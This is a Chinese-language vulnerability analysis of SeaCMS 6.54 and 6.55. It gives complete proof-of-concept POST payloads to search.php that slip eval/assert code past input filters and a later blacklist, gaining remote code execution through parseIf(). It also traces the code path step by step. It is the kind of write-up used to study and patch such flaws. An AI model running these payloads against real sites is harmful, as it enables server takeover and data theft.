0x01. 漏洞利用方式
6.54版本 POC:
URL:http://[ip]:[port]/search.php
POST:searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[Cyc1e]))&Cyc1e=phpinfo();
6.55版本 POC:
URL:http://[ip]:[port]/search.php?phpinfo();
POST:searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
0x02. 漏洞分析
版本:Seacms v6.54
首先Seacms的外部变量GET、POST提交方式在/include/common.php中进行了申明:
所以在提交外部变量时可以通过GET方式、也可以通过POST方式。漏洞的入口点在于search.php中的变量$content,其中变量$searchword会传递进入$content且可控,$searchword分别经过RemoveXSS()函数和cn_substr()的处理,定位变量$searchword:search.php:16行
查看第一层处理函数RemoveXSS():/include/common.func.php:1657行
可以看出RemoveXSS()函数对变量$searchword进行XSS过滤,避免被XSS攻击,随后调用函数cn_substr()对变量$searchword进行处理定位查看:/include/common.func.php:124行
函数cn_substr()对变量$searchword进行字符长度限制,限制字符长度不超过20,初步的两层处理视乎让人感觉变量$searchword相对比较安全,我们继续跟进,$searchword随后根据程序流将传入echoSearchPage(),在执行echoSearchPage()之前,有一个判断语句:search.php:56行
所以在构造Payload时需要给变量$searchtype赋值为‘5’,才能够继续执行程序流,变量$searchword随后传递进入变量$content中,并且进行了多次的str_replace替换处理:search.php:159行
多次替换处理变量$content后,将其传入parseIf()中
$content=$mainClassObj->parseIf($content);//search.php:216行
跟进查看函数parseIf():/include/main.class.php:3149行
变量$labelRule、$labelRule2、$labelRule3定义了正则规则,通过preg_match_all将$content进行正则匹配,即匹配出‘{if:’和‘{end if}’中的字符串,并将匹配的结果传入到$iar中,随后将数组$iar[1][$m]中的字符赋值给变量$strIf,并在最终的条件判断中传入eval()函数@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
所以如果变量$strIf的值可以恶意构造,那么就可以将恶意代码传入eval()并执行,这也是漏洞的主要,所里整个漏洞利用链在于:
$searchword->$content->parseIf($content)->preg_match_all()->$iar->$strIf->eval()。
构造POC:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[Cyc1e]))&Cyc1e=phpinfo();
即其中searchword={if{searchpage:year}可以通过RmoveXSS()的过滤,也可以通过cn_ substr()的20字符的限制, echoSearchPage()对searchpage标签进行多次替换处理处理,最终$content中会包含:eval(($_POST[Cyc1e]))
$content传入parseIf()后进行正则匹配处理最终传入变量$strIf,打印变量$strIf查看:
可以看出$content中包含的恶意代码eval(($_POST[Cyc1e]))被传入到变量$strIf中,并最终通过eval()函数达到恶意代码的执行,即通过恶意代码实现任意代码执行。
版本:6.55
6.55版本针对该漏洞,在parseIf()中添加了一个黑名单:/include/main.class.php:3106
但是通过search.php中$content构造的恶意代码仍然能正常的传递到parseIf()函数中,即漏洞的利用原来是没有变的,而黑名单只是过滤了一些敏感函数和_GET、_POST、_REQUEST和_COOKIE传参方式,而HTTP中传递参数还有$_SERVER方式,所以构造$searchword时,通过利用$_SERVER来获取变量已然能够达到任意代码执行的目的。构造$searchword(放freebuf中大佬的):
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
通过echoSearchPage()中对searchpage标签的替换,$content中包含
if(assert($_SERVER[QUERY_STRING]));/*
通过访问URL:http://[ip]:[port]/search.php?phpinfo();即可触发利用,并且同样可以达到任意代码执行的效果,system()函数的执行方式这里就不多说了。
漏洞分析仅用于学习!!!一切实际攻击利用行为概不负责。